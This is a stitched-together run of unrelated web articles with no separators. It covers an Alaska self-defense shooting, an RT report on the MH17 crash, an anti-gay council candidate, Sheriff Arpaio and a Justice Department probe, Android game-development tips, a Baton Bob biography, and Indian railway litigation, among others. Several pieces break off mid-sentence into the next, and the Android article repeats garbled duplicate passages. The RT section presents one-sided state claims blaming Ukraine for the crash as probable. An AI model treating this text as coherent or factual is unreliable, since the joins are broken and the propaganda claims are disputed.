Palmer District Attorney Roman Kalytiak announced his decision not to pursue criminal charges against Richard "Ole" Larson in an email Thursday to Alaska Dispatch News and the Mat-Su Valley Frontiersman. Larson sits on the Matanuska-Susitna Borough's school board.
Through attorney and former Wasilla Mayor Verne Rupright, Larson has acknowledged shooting 24-year-old Codey Tallman after he ran across Larson's property near Bogard Road trying to elude Alaska State Troopers.
Tallman had ditched his pickup nearby. Troopers suspected he was heroin user and Tallman was also the suspect in a series of thefts at local businesses.
Larson told Tallman to stop and Tallman shoved him, troopers said at the time. Tallman later knocked Larson to the ground, and Larson followed him into some woods, where Tallman knocked him down again, they said. When Larson started calling troopers, Tallman hit him.
That's when Larson "removed a.38 caliber handgun from his (pocket) and advised Tallman he was armed and told him to stop," according to a trooper's report. Tallman charged and Larson shot him in the leg.
Tallman was not on Larson's property at the time he was shot, Kalytiak said in an email Thursday. He was in Larson's neighborhood.
Kalytiak said he reviewed information gathered by troopers with two senior assistant district attorneys.
His ultimate decision centered in part on Tallman's criminal history and Larson's lack of it, Kalytiak wrote in the email detailing his decision.
"It is obvious that Mr. Larson would claim self-defense at trial," he wrote. "Due to Mr. Tallman's dangerous conduct that day and his lack of credibility, the prosecution would not be able to disprove self-defense, which is our burden in a trial of this type."
Prosecuting such a case wouldn't be a "wise use" of state resources, Kalytiak added. Courts around the state are under financial pressure given the ongoing fiscal crisis.
Alaska laws regarding self defense prohibit the use of deadly force "if the person knows that, with complete personal safety and with complete safety as to others being defended, the person can avoid the necessity of using deadly force by leaving the area of the encounter."
Exceptions include incidents on one's property or as a guest or "express or implied agent" of the owner, assisting a peace officer or protecting a member of one's own household.
A more recent exception added in 2013 states a person is not required to retreat to avoid using deadly force if they are "in any other place where the person has a right to be."The Ukrainian military has several batteries of Buk surface-to-air missile systems with at least 27 launchers, capable of bringing down high-flying jets, in the Donetsk region where the Malaysian passenger plane crashed, Russian Defense Ministry said.
READ RT'S LIVE UPDATES ON MALAYSIAN PLANE CRASH
“According to the Russian Defense Ministry information, units of the Armed Forces of Ukraine located in the crash-site are equipped with anti-aircraft missile systems of "Buk-M1”... These complexes in their tactical and technical characteristics are capable of detecting air targets at ranges of up to 160 kilometers and hit them at full altitude range at a distance of over 30 kilometers,” the ministry’s statement reads as cited by Ria.
Earlier, Itar-Tass and Interfax news agencies were citing a source familiar with the issue, who said that another battery of Buk systems is currently being prepared for shipment to Donetsk region from the Ukrainian city of Kharkov.
The Donetsk region remains the scene of heavy fighting between government troops and the forces of the opposition, which refused to recognize the regime change in Kiev and demand federalization.
A Malaysian Airlines aircraft en route from Amsterdam to Malaysia crashed in Eastern Ukraine – not far from the Russian border – on Thursday.
There were reportedly 283 people and 15 crew members on board the Boeing-777 plane, who reportedly all died in the crash.
There were unconfirmed reports the Malaysian plane was travelling at an altitude of over 10,000 meters when it was allegedly hit by a missile.
There’s no way that the self-defense forces in Donetsk Region are in possession of such complex weaponry, he stressed. Only S-300 and Buk surface-to-air missile systems are capable of hitting targets at such altitude, the source said.
Buk is a family of self-propelled, medium-range surface-to-air missile systems developed by the former USSR and Russia to engage targets at an engagement altitude of 11,000-25,000 meters depending on the model.
Chances are high that the Malaysian plane was really downed by the Ukrainian anti-aircraft defense, Yury Karash, pilot and aviation expert, told RT.
“A Boeing-777 is an extremely reliable piece of machinery. Modern planes don’t just crash with no reason,” he said. “Let us recall how a Ukrainian missile downed Russian TU-154 aircraft ten years ago. I can’t completely exclude the possibility the Boeing-777 was also hit by a missile.”
“I don’t know who could’ve shot it down. But I can allege that it was most likely the Ukrainian armed forces: simply because its military – anti-aircraft defense, in particular – are, unfortunately, unqualified. As judging by the overall state of the Ukrainian armed forces, insufficient attention has been paid to their training,” Karash added.
Reports in the Western media hurried to blame the self-defense forces of the People’s Republic of Donetsk for bringing the plane down.
The claims were denied by the representatives of the Donetsk People’s Republic, saying that it’s the Ukrainian military, which destroyed the aircraft.
“We simply don’t have such air defense systems. Our man-portable air defense systems have a firing range 3,000 - 4,000 meters. The Boeing was flying at a much higher altitude,” Sergey Kavtaradze, special representative for the prime minister of the Donetsk People’s Republic, explained.
Kavtaradze also expressed condolences to the relatives of all of those who lost their lives in the tragedy.
IHS Jane’s Defense analyst, Nick de Larrinaga, also shared the belief that the self-defense forces lack the capability to bring the Malaysian plane down.
“At normal cruising altitude a civilian passenger aircraft would be out of the range of the sort of manned portable air (defense) systems that we have seen proliferate in rebel hands in east Ukraine,” he said in a statement.
But the aircraft would be within range of Buk or other medium-range surface-to-air missile systems, he stressed.
“Both Russia and Ukraine have such SAM systems in their inventories,” the expert added.
It seems unlikely that the self-defense forces could’ve used Buk surface-to-air missile systems to down the Malaysian plane, retired Brig. Gen. Kevin Ryan, the director of the Defense and Intelligence Project at the Belfer Center for Science and International Affairs, said.
“It takes a lot of training and a lot of coordination to fire one of these and hit something,” he told CNN. “This is not the kind of weapon a couple of guys are going to pull out of a garage and fire.”
According to Ryan, if the plane was really taken down then it was done by a professional military force.Signup to receive a daily roundup of the top LGBT+ news stories from around the world
A Northern Irish independent local council candidate who said she would like to “recriminalise homosexuality,” has been eliminated with only 67 votes.
Susan Anne White, of Trillick, stood as an independent candidate in the Omagh district. She described herself as an evangelical Christian, and has made it clear that she opposes same-sex relationships.
Speaking at the Strule Arts Centre at a Question Time-style debate last month alongside other candidates, White said she would “recriminalise homosexuality”, given the chance.
Eliminated at the first round of transfers, White only received 67 first-preference votes.
White made the claim that gay people “are not born that way, they are out to recruit. We are in danger. One demand after another.”
She also said she opposed same-sex marriage, and gay people giving blood, saying the “gay agenda… One of their goals is destruction of marriage.”
In a previous interview with the Tyrone Herald, White admitted that her chances of being elected were “slim”, but claimed she had received mainly positive feedback door-to-door.
“My campaign will be run along the lines of ten bible-based principles and among them will be that we need to keep safe from the destructive homosexual agenda,” she said.How old is the universe? What causes a star to catastrophically explode? Answering these and other questions about stellar evolutions requires knowing the rates of the reactions involved. Specifically, scientists need to understand low-energy nuclear reactions that involve stable and unstable nuclei, the positively charged core of atoms. With few exceptions, laboratory measurements are limited to stable isotopes and high energy levels and thus must be extrapolated to lower energies. Nuclear scientists at Texas A&M University devised a method, using the asymptotic normalization coefficients (ANC), that allows scientists to determine key reaction rates at stellar energies using conventional nuclear reactions.
The measurement of the ANC for the capture of a proton by a specific atom, 14N, caused nuclear scientists to reconsider the age of the universe, which had been based on earlier work. This result is just one of many important rates that have been measured by this technique.
Measurements of ANCs over the past decade have provided new information about rates of many stellar reactions that involve capturing a proton by light-mass nuclei. Such reactions are important in supernovae and other stellar burning and stellar evolution phenomena. The ANC method involves both stable and unstable nuclei. Results from the ANC research have been published in more than 70 papers in the leading peer reviewed journals. A summary of the work has been published as a review article in Reports on Progress in Physics.
Funding was provided by three organizations: Department of Energy Office of Science, grant numbers: DE-FG02-08ER41533, DE-FG02-93ER40773, DE-FG52-09NA29467, DE-SC0004958, DE-SC0004971; National Science Foundation Division of Physics, grant number: PHY-1415656; and the Italian Ministry for University Research, grant number: RBFR082838 Istituto Nazionale di Fisica Nucleare.My first piece of art in... heaven knows how long, ugh. I didn't think I still had it in me; this art block is terrible.I drew my favorite Kalos Pokemon: Dragalge! I fell in love with this design the second I saw it because I've been wishing for a leafy sea dragon Pokemon for years now. We finally got one! Kalos as a region isn't my overall favorite, but the new Pokemon are great and we especially got some wonderful new dragons. Goodra and Tyrantrum are up there, too, but... Dragalge. Gotta be Dragalge.The one I use in the games is named Zoe and she was traded over to me by! At level 80 she's my highest level Pokemon right now and she usually hogs Amie whenever she's in my party.My little baby.It's nice to use this site again, too! It's been too long.Ever wondered which state has the highest marginal income tax rate? Or which states have no income tax?
Thanks to a map from the accounting firm O'Conner Davies, we know the answer to |
faith," said Deputy Assistant Attorney General Roy Austin Jr. in a letter to Arpaio's legal counsel.
JUST WATCHED Arpaio: Obama documents probably forged Replay More Videos... MUST WATCH Arpaio: Obama documents probably forged 01:16
JUST WATCHED A conversation with Sheriff Joe Arpaio Replay More Videos... MUST WATCH A conversation with Sheriff Joe Arpaio 04:45
It added: "MCSO's refusal to engage in good faith negotiations requires us to prepare for civil action."
Arpaio shot back, saying he would not "surrender" his officer to the federal government.
"Appointment of an outside monitor essentially usurps the powers and duties of an elected Sheriff and transfers them to a person or group of persons selected by the federal government," he said in a statement Tuesday.
"And so to the Obama administration, who is attempting to strong arm me into submission only for its political gain, I say, 'This will not happen, not on my watch!'"
A federal Department of Justice investigation into Arpaio's office made public in December described "a pervasive culture of discriminatory bias against Latinos at MCSO that reaches the highest levels of the agency."
Arpaio dismissed the allegations as a politically-driven "witch hunt."
He pointed out how President Barack Obama opposed Arizona's controversial anti-immigration law and how the president mentioned Arpaio as the person pushing the law, the sheriff said.
"By the way, I don't want to say it's all politics, but everyone I'm talking about happens to be Democrats," said Arpaio, a Republican.
Arpaio added: "Don't come to use me as a whipping boy for a national, international problem."
The 22-page Justice Department letter alleged the Maricopa County Sheriff's Office committed federal and constitutional violations.
Detention officers in Arpaio's jail invoked offensive slurs and profanities against Hispanics, calling them "wetbacks," "Mexican bitches," and "stupid Mexicans," the letter said.
"Sheriff Arpaio's own actions have helped nurture MCSO's culture of bias," said the letter, written to the Maricopa County attorney.
For example, the sheriff apparently endorsed one constituent's letter asking for a "round-up" at one Phoenix street corner of "dark-skin(ned)" people: Arpaio told a member of his command staff in a note to "(h)ave someone handle this," the Justice Department said.
Jack MacIntyre, Arpaio's deputy chief, described the Justice Department's allegations as "a sneak attack by the federal government on the citizens of Arizona."
The Justice Department also said it is reviewing allegations that the sheriff's office did not investigate " a large number of sex crimes. "
The sheriff's office has acknowledged to federal authorities that 432 cases of sexual assault and child molestation were not properly investigated over a three-year period ending in 2007, and many of the victims apparently were Latinos, the Justice Department said.
The federal findings also alleged discriminatory policing practices by Arpaio's officers including "unlawful stops, detentions and arrests of Latinos," according to a Justice Department statement.
It also noted that the sheriff's office has discriminated against "Latino inmates with limited English by punishing them and denying critical services."
It further blamed the office for allowing "specialized units to engage in unconstitutional practices" and for a lack of oversight and deputy training.
The initial federal inquiry began in June 2008 and reviewed tens of thousands of pages of documents and more than 400 interviews, including current and former inmates as well as office personnel.
Authorities notified the sheriff's office of a formal investigation a year later, a statement said.
Assistant Attorney General Thomas Perez said the sheriff's office initially failed to cooperate with investigators, prompting federal authorities to take the "virtually unprecedented step" of filing a lawsuit in 2010.
He noted the investigation had uncovered startling levels of racial profiling against Latino drivers, ranging between four and nine times higher than against non-Latino motorists.
Perez added that an independent reviewer involved in the probe described it as "the most egregious racial profiling in the United States" he had ever seen.Daily Caller
August 5, 2016
Minnesota Democrat Rep. Keith Ellis’ office is hiring interns for the fall and strongly encourages anyone who isn’t a straight, white able-bodied male to send in an application.
“The Office of Congressman Keith Ellison is looking for enthusiastic interns for our Washington and Minneapolis offices. We seek interns who are curious, hardworking, and passionate about serving Minnesota’s 5th district,” Ellis’ Congressional website states.
“While Congressman Ellison encourages all individuals to apply, applicants with strong ties to the Fifth District or Minnesota are preferred,” the page states before adding one final note: “People of color, LGBTQ individuals, women, and people with disabilities are strongly encouraged to apply.”
The only people not possessing any of the “strongly encouraged” characteristics are white, straight, men without disabilities.
The note specifically requesting interns that aren’t straight, white able-bodied men appears to have been added somewhat recently.
Read more
This article was posted: Friday, August 5, 2016 at 5:06 am
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A Russian newspaper says Libyan leader Moammar Gadhafi is sending signals to Moscow that he might agree to step down if he's given "security guarantees." Gadhafi's government says the report is "simply untrue," and that the regime's loyalists will "die to defend him." Western diplomats also can't confirm that Gadhafi has begun looking for a way out after a rebel advance and sustained NATO bombing. Is there really any chance he'll give up after vowing to fight to the death? (Watch a BBC report about Russia's role.)
Gadhafi might recognize he has no choice: "Moammar Gadhafi likes to play chess," says Robert Zeliger at Foreign Policy, "and it may be that he sees a checkmate nearing." His money and fuel are running out, and the rebels and NATO are pummeling what's left of his military. He can't let his supporters know defeat is an option, but at some point, if there's a plane on the runway waiting to carry him to safety and freedom, he might decide the best thing to do is climb aboard.
"Could Russia broker a way out for Gadhafi?"
It might be too late: If Gadhafi wanted to make a deal, says Merv Benson at PrairiePundit, he should have spoken up months ago. "It will be more difficult to meet now than it would have been before he was indicted by the International Criminal Court." Now he's not simply a pariah, he's wanted for crimes against humanity, so finding a country that will take him in "is much more complicated."
"Gadhafi wants security guarantees if he leaves"
Plus, the rebels won't accept Gadhafi's terms: Even if Gadhafi agrees to step down, says Jason Ditz at Antiwar, he apparently wants his son, Saif al-Islam, to succeed him, plus immunity from prosecution, plus all his family's frozen assets. Those terms would obviously "be a non-starter for Libya's rebels." The only hope for changing their minds is for NATO to get behind a rapprochement, and so far, "NATO's hostility to peace" has made any deal unlikely.
"Russian official: Gadhafi agreed to resign if son takes over"The pachyderm has two kilograms of plastic waste inside. (File photo for representative purposes only)
At a time when animal lovers are concerned about plastic articles being abandoned in forests, a 40-year-old female elephant was found dead with about two kg of plastic waste in its bowels in a forest near the holy hill Sabarimala in Pathanamthitta district recently.
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The plastic articles consumed by the jumbo was believed to have been the left over of the two-month long pilgrimage of Sabarimala, which concluded last month. The carcass of the jumbo was sighted at Valiyaanavattom under the wildlife area of Periyar west division on Saturday.
A top official said huge piles of plastic waste,including polythene carry bags, aluminium foil papers and wrappers of packed food were found in its abdomen during post-mortem.
“The carcass of the elephant was spotted during routine field check. About two kg of plastic waste was found in its abdomen during post-mortem. It could not take any food at least for some weeks,” said Sunil Babu, deputy director, Periyar west division.
“According to the veterinarians, the animal died of constipation and intestinal blockage. It could not digest the plastic in the intestine or take any other food,” he said. He, however, said no similar incident was reported in the area in the recent past though the presence of plastic waste had been found in the dung of the wild animals before.
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Stern action was necessary to keep the forest clean and plastic-free, the official added. The carcass was cremated inside the Valiyaanavattom forest yesterday.10 things we've learned developing our first Android game
0 Not easy, but fun
With this post we want to tell our short experience of two programmers who have made their first approach in game development, we'd like to give some tips that hopefully will serve to all those who want to take their first step and get into the exciting world of Android game development.
Developing a game is hard work and you'd better don't count on downloads falling from the sky. The first tip is do not despair, it is difficult, but here is the challenge. We hope these tips will smooth your way ;)
Also, it's not all doom and gloom, the balance is worth it. When you have the game published on the With this post we want to tell our short experience of two programmers who have made their first approach in game development, we'd like to give some tips that hopefully will serve to all those who want to take their first step and get into the exciting world of Android game development.Developing a game is hard work and you'd better don't count on downloads falling from the sky. The first tip is, it is difficult, but here is the challenge. We hope these tips will smooth your wayAlso, it's not all doom and gloom, the balance is worth it. When you have the game published on the Play Store and see your downloads growing (slowly at first, and only because your friends and family) you will see that the effort was well worth it and you'll love it as a son (trust me, I know what I'm talking about)
1 Measure twice before cutting
Soak up all the information before you start. Compare development environments (for example, take a look at
As an example: after measuring one and a half (note that missing half), we decided that the android framework for creating displays and drawing (quite elegant in design, extremely usable) covered all our needs.
Our first-great-development-crisis was running into the draconian memory limits of an Android application: 24MB of memory for the entire application, including images! (little bit more than my old Spectrum :P). We work miracles to get everything into those 24MB, uploading and downloading images according to our needs. We felt like the Sputnik programmers. So, we overcame the first-great-development-crisis (we are amazing) and almost have our game ready to go. Soak up all the information before you start. Compare development environments (for example, take a look at Android Studio, before starting a love/hate relationship with Eclipse ). Watch videos and tutorials : in 'developer.android.com' there is a lot of useful information to start working with. In general, the android documentation and development environments greatly simplify things. Good planning can save you months of work in the wrong direction.: after measuring one and a half (note that missing half), we decided that the android framework for creating displays and drawing (quite elegant in design, extremely usable) covered all our needs.Ourwas running into the draconian memory limits of an Android application: 24MB of memory for the entire application, including images! (little bit more than my old Spectrum). We work miracles to get everything into those 24MB, uploading and downloading images according to our needs. We felt like the Sputnik programmers. So, we overcame the first-great-development-crisis (we are amazing) and almost have our game ready to go.
2 OpenGL or not OpenGL
Our second-great-development-crisis arose a few weeks before finishing the first release-candidate version. Everything was programmed with the Android framework and running like clockwork... on our phones. Then we test the game on a
There was only one solution for this big problem: Turn back and start with a new graphics OpenGL-based engine (See tip #1 :D)
So we entered into the exciting world of OpenGL. We compared several graphic engines, but none seem very mature, so we decided to make our own. It could not be that difficult.
The first 2 weeks were hard, very hard. The frustration reached new heights. The learning curve was too slow. Being used to the elegance of Java libraries, we found OpenGL way to primitive. Why was everything so low-coded? Also, querying the OpenGL forum's gurus we found out that they have to be people smoking a pipe and not writing code, just words. It was frustrating to see someone with a problem like ours and abstractly a guru replied without code samples and the first one, who asked the question, answered: It works like a charm!. You think: you son of a bitch...
But with perseverance everything came gradually, and we got to tame OpenGL (tip #0: do not despair). Everything was super-fine on the tablet and we didn't have memory problems because the images are stored in video memory. So many things were simplified.
Soon we'll liberate our engine, when we have a code not to be ashamed of. Ourarose a few weeks before finishing the first release-candidate version. Everything was programmed with the Android framework and running like clockwork... on our phones. Then we test the game on a Nexus 10 (in theory, a fancy phone), and everything was laggy (WTF!): the problem was that the tablet's CPU couldn't manage such large images efficiently.There was only one solution for this big problem: Turn back and start with a new graphics OpenGL-based engine (See tip #1So we entered into the exciting world of OpenGL. We compared several graphic engines, but none seem very mature, so we decided to make our own. It could not be that difficult.The first 2 weeks were hard, very hard. The frustration reached new heights. The learning curve was too slow. Being used to the elegance of Java libraries, we found OpenGL way to primitive. Why was everything so low-coded? Also, querying the OpenGL forum's gurus we found out that they have to be people smoking a pipe and not writing code, just words. It was frustrating to see someone with a problem like ours and abstractly a guru replied without code samples and the first one, who asked the question, answered:. You think:But with perseverance everything came gradually, and we got to tame OpenGL (tip #0: do not despair). Everything was super-fine on the tablet and we didn't have memory problems because the images are stored in video memory. So many things were simplified.Soon we'll liberate our engine, when we have a code not to be ashamed of.
3 What are you doing to be so handsome? Wash, rinse, and repeat
We all feel better when we put on fancy clothes, in the video game world, graphics are an essential part of development. Look up a good graphic designer who can capture the style of the game and make graphics consistent. Keep in mind the audience you are targeting and sketch, sketch and sketch again, seek for feedback and work hard until you find something that really makes you say: "this is what I was looking for". As Picasso said "Inspiration exists, but it has to find you working.".
4 Calculate development time being generous and multiply it by 10
First calculate the development time thinking about solving the bigger problems: how to paint this color blending this layer, how to move this graphic by easing and force the GC not to yank, etc.. This is what we thought is 90% of the work, actually it will mean no more than 10%, not because everything is easier than we thought, but because all the other small things which you didn't think about, an ocean of time spent that never ends: Set the button text size a little bit larger, export, test... oh, no, 3 pixels further down, export, test, change font, size snaps back,... and so on to infinity (and beyond...)
Calculate development time to be longer than initially thought if you don't want to fall into the frustration of seeing how your thousand outstanding tasks never ends. Very important, make a list of things to do and give them priority, finish them one by one until there is nothing left and when you least expect it, you'll be exporting a signed version ready to publish.
5 Backstage work
Not all are cool and colorful graphics. The most important work is behind the scenes (although the average user ignores, most programmers are misunderstood). What you don't see but assume: if you're a programming god and everything runs smoothly, users think that this is how it has to be, however, if you let a small leak, releasing a force close at level 30 when the planets align against you: the user will uninstall your game and will send you the bill for his broken phone thrown out of the window in frustration, or worse, he can put a bad comment on Google play. Beware O_O Not all are cool and colorful graphics. The most important work is behind the scenes (although the average user ignores, most programmers are misunderstood). What you don't see but assume: if you're a programming god and everything runs smoothly, users think that this is how it has to be, however, if you let a small leak, releasing a force close at level 30 when the planets align against you: the user will uninstall your game and will send you the bill for his broken phone thrown out of the window in frustration, or worse, he can put a bad comment on Google play.
6 Focus. The Devil is in the details
At first, you have a general idea of what you want to do, then you finally start developing and programming. So new ideas come to you mind. You start playing with your game and new "needs" come out. This could be awesome... Look, we can add this feature... Well this would be very funny...
Eventually we realize that development has no end, and continue week by week (maybe months... we lost track of time). Our friends do not take us seriously when we said that we had it almost finished... We have to put an end to this. Get back to the roots of the original idea and stick to it all you can. New occurrences and features can be implemented in future versions.
7 Exaltation of friendship
As they say, children and drunks always speak the truth. You, as a developer, can spend weeks testing the game but in the first five minutes of your 7 year old nephew's testing we'll rise 20 bugs that never had gone through your head.
Also it's always good a little push to start, and that's what friends are for. Grab all your Whatsapp contacts and tell them to install your game, that's the best thing they have ever try :D, when you see download flowing (the first 100 are pure adrenaline) you will love them more than ever.
8 Promotion: Google is not evil, but does not help
Then one day you decide you're done. Everything goes like silk. You have a killer app that will be the bombshell after Angry Birds, not to get rich, but by simple narcissism. Then publish your app and get 4 downloads, including yours... Something is wrong, no one is finding our application.
So consult the Top New at Then one day you decide you're done. Everything goes like silk. You have a killer app that will be the bombshell after Angry Birds, not to get rich, but by simple narcissism. Then publish your app and get 4 downloads, including yours... Something is wrong, no one is finding our application.So consult theat Google Play Store and desolation pervades all your being. New downloads have +1.000.000 most. Even an application of a miserable fart (if I know it I had not invested a year of my spare time). The last uploaded applications does not appear anywhere. Your brand new game is lost in infinity and no one knows where it is. Google will not help, the promotion goes on your own (bank account?). You have to make a living.Baton Bob in a wedding dress. He more frequently wears a tutu.
Bob Jamerson, known as Baton Bob, is a well known local character and costumed street performer, currently based in Atlanta, Georgia. Baton Bob used to live in St. Louis, Missouri and in both cities is a significant local personality. He typically marches down urban sidewalks dressed in a tutu and occasionally a tiara. As his name suggests, he almost always twirls a baton as well. His stated goal is to amuse and cheer passersby, to "lift people’s spirits and put a simple smile on people’s faces during their daily routine".[1] He occasionally calls himself the "Ambassador of Mirth".
Origin [ edit ]
Jamerson grew up an only child on a farm in Martinsville, Virginia. As a boy, he became enthralled with band majorettes at college football games. When he went to high school, he asked to be his school's first male baton twirler. Wearing a cheerleader's sweater and white pants with gold stripes, he often was tempted to outperform the majorettes. Jamerson eventually moved to St. Louis and worked as a flight attendant, but was laid off after the 9/11 attacks (he now works as a floral designer). To counter his depression, a psychologist recommended he do things that brought him joy and so Jamerson began twirling his baton in public again.[2] He expanded his wardrobe of transgressive costumes and marched through city streets several afternoons every week. Although some have gossiped that he is "crazy",[3] there is no serious indication that this is true.
Baton Bob's motive to entertain is often tied to the current state of the world. Though he created his character to raise peoples' spirits after the 9/11 attacks, other events have caused him to continue. When interviewed by CNN, he made reference to the wars in Iraq and Afghanistan, and the Indian Ocean tsunami of 2004.
Events precipitating his departure from St. Louis [ edit ]
Press reports indicate the public in Atlanta highly appreciates Baton Bob.[3] Though he was appreciated by some, he annoyed others in St. Louis and Atlanta as well. Several exceptional events precipitated his departure.
During the summer of 2003, an observer mooned the character. Both men mutually escalated the situation until the unidentified observer struck Baton Bob in the cheek, an injury that required five stitches. The observer was later arrested by St. Louis detectives and prosecuted. [4]
The following summer, when he marched with Missouri NARAL in a suburban 4th of July parade, police manhandled him in an attempt to remove him from the procession. Though the police allowed Baton Bob to remain in the parade, the incident prompted a complaint that alleged the police also swore and called him names. [5]
Later the same summer, Baton Bob was arrested while participating in a Kerry/Edwards rally at St. Louis Union Station. He swore at a police officer who stepped on the train of Bob's $500 wedding dress, prompting an arrest for trespassing. The arrest proved to be the proverbial last straw, as Baton Bob left St. Louis for Atlanta soon thereafter.[2]
Performances [ edit ]
Baton Bob in Midtown, Atlanta celebrating Halloween on Peachtree street.
Baton Bob usually marches solo in a tutu, though he also wears thigh-revealing miniskirts, leotards, and occasionally a wedding dress. Often a whistle complements the ensemble, which can confuse and disturb motorists who sometimes assume a policeman is nearby giving directions. When actor Christopher Reeve died, Baton Bob wore a Superman costume in tribute, though he has also dressed as Superwoman and Spider-Man.[6] Other costumes include a majorette's uniform and an Indian headdress.[7] In St. Louis he typically marched down city streets and sidewalks (centering on the Central West End) and occasionally participated in parades. In Atlanta he frequently performs at and around Piedmont Park.
He was featured in Atlanta magazine as one of the city's top personalities and was in an ad campaign for the Georgia Aquarium. In June 2006, he appeared in The Comedy of Errors for the Georgia Shakespeare Festival. He led the parade of performers at the beginning of the play and entertained the crowd for half an hour before the show.[1] Baton Bob has most recently appeared in the pilot episode of Laugh Out, a gay-themed comedy. He also made a guest appearance in Atlanta's production of the play Peachtree Battle to benefit Atlanta's Human Rights Campaign chapter. Recently he was featured in a video on CNN's website, a seven-minute piece produced by TBS-Storyline's Eric Lanford.
In 2007, he participated in a fashion show in Atlanta at Grady High School during Atlanta Fashion Week. The line was titled "Pecan Pie Couture" by designer Clint Ziegler, as a benefit of the high school's "UrbanCouture" fashion design program, and featured many southern inspired designs, which Baton Bob was proud to help show off.
He appeared on the cover of Creative Loafing's May 24–30 issue: "Hunting for Atlanta's Treasures SUMMER GUIDE '07," to honor the character. The same year, he was selected "grand marshal" of the Inman Park Festival Parade. In Creative Loafing's "BEST OF ATLANTA 2007", he was voted best in three categories: Best Local Hero, Best Local Celebrity and Best Street Character.
In 2008, he was selected by 10Best.com Travel Guides as one of the Atlanta Colorful Characters He was a 2008 10Best Bet award winners.
During January 2008, he participated in the "Doggies on the Catwalk", a pet fashion show at Grady High School. The event was produced by Grady's fashion program Urban Couture, featuring other local celebs with their pets, as a benefit for Pets Are Loving Support.
He participated in the official opening reception for the 2008 Special Events Tradeshow held at The World Of Coke Pavilon. He has presided as Master Of Ceremonies for radio station 99X's "2008 Mardi Gras Ball" at Club OPERA. In June 2008, he was featured on Revision3's Internet Superstar.
At 5:06 PM, on November 6, 2013, he twirled his way through a reporter's live WSB-TV appearance.[8][9]
2013 arrest and eventual marriage [ edit ]
On June 26, 2013, in the wake of several Supreme Court decisions that favored gay marriage, Baton Bob performed in a wedding dress in Midtown Atlanta. Several police officers asked him to leave, and he refused, allegedly kicking one of the officers. According to Baton Bob, an officer then logged on to Baton Bob's Facebook account and posted a pro-police message reading, in part, "I want to verify, that the Atlanta police was respectful to me considering the circumstances".[10] The charges were later dismissed, and the officer who posted the message resigned; his lieutenant was disciplined for "violating the responsibilities of a supervisor".[11]
Baton Bob filed a federal civil rights lawsuit against the city. Although the city released a statement calling Baton Bob's claims "baseless",[12] they offered a $20,000 settlement.[13]
On June 26, 2015, two years to the day after the arrest, Baton Bob married local chef Gary Bender in a ceremony that had been long planned for that day.[14] Their wedding happened to fall on the same date that the Supreme Court announced its decision legalizing same-sex marriage nationwide.ADVERTISEMENT
Talk about a “stress test,” said Kathleen Pender in the San Francisco Chronicle. With the Obama administration’s announcement that it will release some results of its financial stress tests on the largest 19 U.S. banks, Treasury Secretary Tim Geithner finds himself in a “no-win situation.” He can hardly backtrack now, but if he reveals meaningful information, depositors and investors will surely flee the unhealthiest banks.
So what if they do? said Paul LaMonica in CNNmoney.com. “It’s not the job of the Treasury or FDIC to prevent investors from selling off shares of banks that have poor fundamentals.” The Treasury has to accept that there are good banks—maybe Goldman Sachs and Wells Fargo—and bad banks, and it’s better if we all know which are which.
“Uncle Sam doesn’t recommend stocks,” said Scott Reeves in Minyanville, so what business does it have giving a “de facto” thumbs-up or thumbs-down to individual banks? An implicit “nay” would mean “curtains for a weaker bank.”
Precisely, said Massimo Calabresi in Time. The banks are balking at selling their toxic assets at today’s market prices, despite Obama’s appeals and our “massive subsidies.” The stress tests could be the “weapon” Team Obama needs to make banks “clean up their acts,” and balance sheets.Crafting a final version of health insurance legislation to attract moderate Republican support would be a "waste of time," according to the leader of the House Progressive Caucus.
Rep. Raul Grijalva (D-Ariz.) said on Wednesday that removing controversial provisions from the legislation, such as the public health insurance option, would weaken the bill and would sink the chances of the bill getting out of the House.
"Obviously it worries many of us a great deal," he said on ABC's "Top Line" this afternoon. "It is a waste of time for the White House and for leadership to cater to one vote."
Grijalva said Republican support won't amount to much.
"In the end of the day, there is going to be more unanimity on the Republican side in the Senate
in opposition to the bill," he said.
Yesterday, Sen. Olympia Snowe (R-Maine) helped vote the Senate Finance Committee's version of healthcare reform, which did not include a government-run healthcare plan.
Snowe did not guarantee her vote for the final bill when speaking before the committee yesterday, causing some to suggest that Democratic leaders may remove controversial measures to attract her support down the line.
Centrist Sen. Susan Collins (R-Maine) said today she may also support a final bill.
The congressman reiterated that he would not vote for a final bill if the conference committee removes the public option from it.
"Without a robust public option, the bill cannot get out of the House of Representatives," he added.NEW DELHI: Indian Railways has cast doubt on the expertise of E Sreedharan, renowned as the man behind Delhi Metro and the Konkan Railway, in a Delhi High Court battle over the safety of a line being built in Jammu and Kashmir that’s already eight years behind schedule.The high court had appointed a panel headed by Sreedharan to examine plans for the 111-kilometre, Katra-Banihal stretch after Prashant Bhushan’s Centre for Public Interest Litigation (CPIL) filed a PIL on the matter. The railways, rushing to finish the line in five years, has already spent more than Rs 10,000 crore over the past 13 years on the section in a politically sensitive state where the Bharatiya Janata Party is part of the governing coalition.The railways questioned the Konkan Railway’s “speckled safety record”, providing a detailed report of accidents on the line that had resulted in the death of 71 passengers since it started, emphasising that “even experts can make mistakes”. It also said that, “in stark comparison to Konkan line’s record, there has been no casualty in the Jammu-Baramullah line”, which was built in far tougher geological conditions.Sreedharan said he would only respond in court to what the railways had to say about his report or regarding the Konkan Railway.“Whatever I have to say, I will say it in the court,” he said. About the Katra-Banihal line, he said that the court had asked advocates from both sides to tabulate what he had said in the report and what railways were saying. The court will decide, he added.Sreedharan, then with Indian Railways, and his team successfully built the Konkan Railway two decades ago after difficult terrain had frustrated previous efforts. Being on the coast, the line is vulnerable to heavy monsoon rain that leads to landslides. Delhi Metro is regarded as one of the most successful mass transit systems in India, having transformed public transport in the capital.Officials said the Prime Minister’s Office is closely monitoring progress of the Katra-Banihal line and wants the railways to take a tough stand on the case. Prime Minister Narendra Modi is said to have sought regular reports from the railway ministry on the line. The railways has promised the PMO that the line will be completed by 2020.“In fact, when the PM got to know that the main reason for delay of the project was the PIL, he asked attorney general Mukul Rohatgi to personally review the case. Additional solicitor general Maninder Singh has been arguing for the railways ever since,” an official said.The Sreedharan committee submitted its report in February, stating “the biggest concern regarding the existing alignment is the poor survivability of the tunnels, bridges and cuttings against the threats of landslides, earthquakes, and the security risks arising out of the nearness of the line to the LoC (Line of Control)”. The railways dismissed the report’s conclusions.“The committee had no topographic sheets to study, no geological, geotechnical, slope stability or seismic study reports to study about a paper alignment which is not even properly marked on paper,” it said. “Therefore, the conclusions of the committee are mere conjectures, fallacious, specious and delusive statements.”It said none of the committee members had visited the site. “Therefore, the committee had to suggest that the proposed alignment in the report is only a ‘paper alignment’,” the railways 